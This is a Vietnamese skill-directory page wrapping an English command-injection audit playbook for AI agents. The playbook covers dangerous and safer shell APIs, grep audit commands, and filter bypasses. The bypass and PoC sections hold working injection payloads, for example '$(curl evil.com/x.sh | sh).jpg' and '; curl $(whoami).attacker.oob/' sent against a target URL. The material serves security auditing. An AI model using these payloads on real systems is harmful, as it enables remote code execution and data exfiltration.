command-injection
Skill này làm gì
Skill này là playbook để tìm lỗ hổng command injection, khi đầu vào của người dùng được gửi đến shell của hệ điều hành. Skill dành cho lập trình viên và người rà soát bảo mật được phép kiểm tra mã.
Khi nào nên dùng
- ✓Khi lập trình viên yêu cầu agent kiểm tra xem đầu vào người dùng có thể đến shell hoặc lệnh hệ thống không.
- ✓Khi agent rà soát công cụ tải lên, bộ tạo PDF hoặc công cụ chuyển đổi media gọi chương trình bên ngoài.
- ✓Khi một đội muốn có danh sách các API lệnh an toàn hơn cho từng ngôn ngữ lập trình.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra mã nguồn được ủy quyền của chúng tôi xem có chỗ nào đầu vào người dùng đi đến lệnh hệ thống không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent tìm các điểm gọi lệnh phổ biến trong từng ngôn ngữ, theo dõi đầu vào người dùng đến từng điểm đó, và liệt kê những chỗ cần xử lý an toàn hơn.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Command Injection Playbook
If SQL injection is the king of web vulns, command injection is the king of DevOps vulns. Every image-processing upload, PDF generator, ffmpeg wrapper, and "run a script" feature is a candidate.
1. Sinks
| Language | Dangerous | Safer |
|---|---|---|
| Python | os.system, subprocess.Popen(..., shell=True), os.popen, commands.getoutput |
subprocess.run([...], shell=False) |
| Node | child_process.exec, execSync |
child_process.execFile, spawn (array args) |
| Go | exec.Command("sh","-c",user) |
exec.Command(bin, arg1, arg2) with array |
| Java | Runtime.exec(String) |
Runtime.exec(String[]), ProcessBuilder([...]) |
| Ruby | backticks, system(str), %x{...} |
Kernel.system(bin, *args), Open3.capture2e |
| PHP | shell_exec, exec, system, backticks, passthru |
escapeshellarg + explicit execve |
Even the "safer" APIs are exploitable if the binary path is user
controlled (exec.Command(userBin, "--version")).
2. Non-obvious sinks
- Template engines rendering shell: Ansible playbooks, systemd unit files, crontab strings
- Docker-compose / k8s manifests where
command:is built from user input - PDF libraries that shell out to
pdflatex,wkhtmltopdf,puppeteer - ImageMagick —
convert user.jpg out.pngwhereuser.jpgis attacker-chosen (classic ImageTragick) - ffmpeg
-iwith user-provided URL/file (SSRF + RCE combo) - Git clone with user-supplied URL (remote helper injection)
- SSH/Rsync wrappers building
ssh user@host "cmd"from templates - ZIP extractors passing archive path to
unzipbinary
3. Audit workflow
# Level 1: obvious sinks
grep -rE 'os\.system\(|subprocess.*shell\s*=\s*True|exec\s*\(' /workspace/src
grep -rE 'Runtime\.exec\(|ProcessBuilder\([^[]' /workspace/src
grep -rE 'child_process\.(exec|execSync)\(' /workspace/src
# Level 2: shell metacharacters in strings
grep -rE '"[^"]*\$\{[a-z]+\}.*(-[a-z]|[;|&])"' /workspace/src
# Level 3: template strings
grep -rE 'ffmpeg|pdflatex|wkhtmltopdf|convert|pandoc' /workspace/src
4. Bypasses
Even when developers "sanitize" via blocklists:
- Argument injection (the -oProxyCommand trick) — passing
-oProxyCommand=curl $(whoami).attacker.comto ssh-based sinks - Space replacement —
${IFS},{ls,-la}(brace expansion) - Backtick/dollar-paren —
$(id),`id` - Command substitution in filename —
$(curl evil.com/x.sh | sh).jpg - Unicode normalisation —
"(fullwidth) vs"bypass - Encoded newline —
%0Aturns single-command into multi-command - TarSlip —
tar xzf user.tgzwith--checkpoint-action=exec=... - Git —
git clone 'ssh://ext::sh -c whoami # foo'
5. PoC ideas
# Spare out-of-band tester — DNS exfil confirms silent RCE
curl "https://target.com/export?filename=; curl $(whoami).attacker.oob/"
# Blind, response-timing based
curl "https://target.com/export?filename=; sleep 7 #.pdf"
# Noisy but fastest confirmation
curl "https://target.com/export?filename=; id > /tmp/pwn #.pdf"
6. validate_finding contract
- success_patterns:
uid=\d+,root, attacker OOB callback hit,total 0 - negative_command: same URL, filename set to
report.pdf - negative_patterns:
200,accepted
7. Default CVSS
| Variant | Vector | Score |
|---|---|---|
| Blind OOB RCE unauth | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | 9.8 |
| Authenticated RCE (low priv) | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | 8.8 |
| RCE with scope change (container escape) | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | 10.0 |
8. Chain promotion
Command injection rarely needs chaining — it's the final hop of most
chains. Instead, use it to promote earlier nodes: add enables edges
from SSRF / file upload / path traversal vulns that deliver the
initial payload.
Câu hỏi thường gặp
Command injection là gì?
Đó là khi đầu vào của người dùng được truyền vào một lệnh hệ thống theo cách cho phép người dùng thêm lệnh của riêng họ.
Mã nào có khả năng bị ảnh hưởng nhất?
Skill nêu các công cụ tải lên, bộ tạo PDF, trình bao video và các script chạy chương trình bên ngoài là những trường hợp phổ biến.
Có những lựa chọn an toàn nào?
Skill liệt kê các cách gọi tiến trình dựa trên mảng, như subprocess với danh sách đối số trong Python, để tránh shell.
Chi tiết
Mô tả gốc của tác giả
Hunt OS command injection (CWE-78) — user input reaching shell, exec, or system calls. Covers argument-array bypasses, path confusion, and template-string injection in modern frameworks.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #13955
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.